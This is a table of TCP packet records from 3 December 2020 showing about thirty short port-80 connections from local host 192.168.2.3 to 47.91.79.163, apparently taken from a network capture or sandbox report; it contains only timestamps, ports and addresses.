Dec 3, 2020 10:04:09.948673010 CET	80	50000	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.948854923 CET	50000	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.951987982 CET	50000	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.968615055 CET	80	50000	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.968727112 CET	50000	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.985275030 CET	80	50000	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.009026051 CET	80	50000	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.009151936 CET	50000	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.009277105 CET	50000	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.025751114 CET	80	50000	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.220155001 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.236881971 CET	80	50001	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.237194061 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.243520021 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.260137081 CET	80	50001	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.260274887 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.276810884 CET	80	50001	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.302791119 CET	80	50001	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.302889109 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.302931070 CET	50001	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.319802046 CET	80	50001	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.488130093 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.504729033 CET	80	50002	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.504844904 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.507911921 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.524451971 CET	80	50002	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.524560928 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.541197062 CET	80	50002	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.569188118 CET	80	50002	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.569425106 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.569489956 CET	50002	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.586049080 CET	80	50002	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.765608072 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.782347918 CET	80	50003	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.782566071 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.788542032 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.805200100 CET	80	50003	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.805351019 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.821959972 CET	80	50003	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.861552000 CET	80	50003	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:10.861680984 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.861738920 CET	50003	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:10.878195047 CET	80	50003	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.051664114 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.068320990 CET	80	50004	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.068559885 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.075915098 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.092580080 CET	80	50004	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.092772961 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.109503031 CET	80	50004	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.206682920 CET	80	50004	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.206799984 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.206852913 CET	50004	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.223594904 CET	80	50004	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.419749975 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.436487913 CET	80	50005	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.436644077 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.442584038 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.459404945 CET	80	50005	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.459582090 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.476367950 CET	80	50005	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.511030912 CET	80	50005	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.511137962 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.511174917 CET	50005	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.527751923 CET	80	50005	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.698280096 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.714854002 CET	80	50006	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.715018988 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.722306967 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.738941908 CET	80	50006	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.739063978 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.755615950 CET	80	50006	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.775321007 CET	80	50006	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.775479078 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.777173996 CET	50006	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.793826103 CET	80	50006	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.972661018 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.989423990 CET	80	50007	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:11.989566088 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:11.992415905 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.009082079 CET	80	50007	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.009205103 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.025809050 CET	80	50007	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.055450916 CET	80	50007	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.055567026 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.055596113 CET	50007	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.072154999 CET	80	50007	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.275696993 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.292453051 CET	80	50008	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.292584896 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.296638966 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.313261032 CET	80	50008	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.313354015 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.330482006 CET	80	50008	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.396986961 CET	80	50008	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.397209883 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.397279024 CET	50008	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.413909912 CET	80	50008	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.614876032 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.631334066 CET	80	50009	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.631442070 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.634506941 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.650995970 CET	80	50009	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.652398109 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.668929100 CET	80	50009	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.694489002 CET	80	50009	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.696116924 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.696170092 CET	50009	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.712732077 CET	80	50009	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.893912077 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.910433054 CET	80	50010	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.910541058 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.913599968 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.930088043 CET	80	50010	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.930231094 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.946727991 CET	80	50010	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.980752945 CET	80	50010	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:12.981408119 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:12.981466055 CET	50010	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.000746012 CET	80	50010	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.172969103 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.189420938 CET	80	50011	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.189513922 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.192842960 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.209276915 CET	80	50011	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.209367990 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.225830078 CET	80	50011	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.277596951 CET	80	50011	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.277704000 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.277760029 CET	50011	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.294188023 CET	80	50011	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.484927893 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.501344919 CET	80	50012	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.501513004 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.509327888 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.525746107 CET	80	50012	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.525840998 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.542252064 CET	80	50012	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.581255913 CET	80	50012	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.581425905 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.581485987 CET	50012	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.597893953 CET	80	50012	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.803247929 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.819921017 CET	80	50013	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.820071936 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.827815056 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.844465971 CET	80	50013	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.844646931 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.861179113 CET	80	50013	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.898849010 CET	80	50013	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:13.898952007 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.899012089 CET	50013	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:13.915524960 CET	80	50013	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.100229979 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.116950989 CET	80	50014	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.117126942 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.124274015 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.140918970 CET	80	50014	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.141046047 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.157610893 CET	80	50014	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.184983015 CET	80	50014	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.185125113 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.185175896 CET	50014	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.201704979 CET	80	50014	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.385565996 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.402023077 CET	80	50015	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.402126074 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.405318022 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.421705008 CET	80	50015	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.421847105 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.438127995 CET	80	50015	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.465338945 CET	80	50015	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.465454102 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.465512991 CET	50015	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.481858969 CET	80	50015	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.672597885 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.689030886 CET	80	50016	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.689165115 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.692821980 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.709203959 CET	80	50016	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.709280014 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.725720882 CET	80	50016	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.751430988 CET	80	50016	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.751591921 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.751656055 CET	50016	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.768068075 CET	80	50016	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.938872099 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.955492020 CET	80	50017	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.955619097 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.958775997 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.975168943 CET	80	50017	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:14.975238085 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:14.991569042 CET	80	50017	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.017358065 CET	80	50017	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.017584085 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.017658949 CET	50017	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.034039021 CET	80	50017	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.216419935 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.232959986 CET	80	50018	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.233110905 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.237436056 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.253902912 CET	80	50018	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.257222891 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.273819923 CET	80	50018	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.303064108 CET	80	50018	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.303216934 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.303256035 CET	50018	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.319804907 CET	80	50018	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.494087934 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.510677099 CET	80	50019	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.510853052 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.514678955 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.531291962 CET	80	50019	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.531507969 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.548074961 CET	80	50019	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.574409008 CET	80	50019	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.574506044 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.574590921 CET	50019	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.590997934 CET	80	50019	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.771656990 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.788291931 CET	80	50020	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.788485050 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.796982050 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.813797951 CET	80	50020	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.813976049 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.830735922 CET	80	50020	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.856977940 CET	80	50020	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:15.857212067 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.857343912 CET	50020	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:15.873888016 CET	80	50020	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.052254915 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.069032907 CET	80	50021	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.069217920 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.076667070 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.093292952 CET	80	50021	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.097709894 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.114250898 CET	80	50021	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.139504910 CET	80	50021	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.139688969 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.139847040 CET	50021	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.156301022 CET	80	50021	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.547336102 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.563739061 CET	80	50022	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.563990116 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.567527056 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.583939075 CET	80	50022	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.584451914 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.601227045 CET	80	50022	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.627367973 CET	80	50022	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.627465963 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.627553940 CET	50022	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.643896103 CET	80	50022	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.849905014 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.866354942 CET	80	50023	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.866848946 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.871689081 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.890990019 CET	80	50023	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.891112089 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.907560110 CET	80	50023	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.927499056 CET	80	50023	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:16.927674055 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.927918911 CET	50023	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:16.944273949 CET	80	50023	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.140444994 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.157094002 CET	80	50024	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.157191992 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.160446882 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.177015066 CET	80	50024	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.177095890 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.193681955 CET	80	50024	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.228399038 CET	80	50024	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.228485107 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.228519917 CET	50024	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.245364904 CET	80	50024	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.864172935 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.880712986 CET	80	50025	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.880831003 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.884115934 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.901021004 CET	80	50025	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.901098967 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.917524099 CET	80	50025	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.950229883 CET	80	50025	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:17.950340986 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.950390100 CET	50025	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:17.966783047 CET	80	50025	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:18.162319899 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.178782940 CET	80	50026	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:18.178879023 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.181600094 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.198055029 CET	80	50026	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:18.198190928 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.214591026 CET	80	50026	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:18.240684986 CET	80	50026	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:18.240844011 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.326303005 CET	50026	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:18.342976093 CET	80	50026	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:19.946569920 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:19.963243008 CET	80	50027	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:19.963383913 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:19.967293024 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:19.983963013 CET	80	50027	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:19.984064102 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.000654936 CET	80	50027	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.027369022 CET	80	50027	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.027492046 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.027524948 CET	50027	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.044378996 CET	80	50027	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.255585909 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.272245884 CET	80	50028	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.272386074 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.275988102 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.292624950 CET	80	50028	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.292846918 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.309469938 CET	80	50028	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.335599899 CET	80	50028	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.335695028 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.335753918 CET	50028	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.352312088 CET	80	50028	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.529881001 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.546515942 CET	80	50029	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.546910048 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.550108910 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.566751957 CET	80	50029	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.566878080 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.583478928 CET	80	50029	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.616817951 CET	80	50029	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.616996050 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.617019892 CET	50029	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.633574963 CET	80	50029	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.832252026 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.848933935 CET	80	50030	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.849176884 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.852617025 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.869328976 CET	80	50030	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:20.869508982 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:20.886173010 CET	80	50030	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.067117929 CET	80	50030	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.067245007 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.067292929 CET	50030	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.083791971 CET	80	50030	47.91.79.163	192.168.2.3
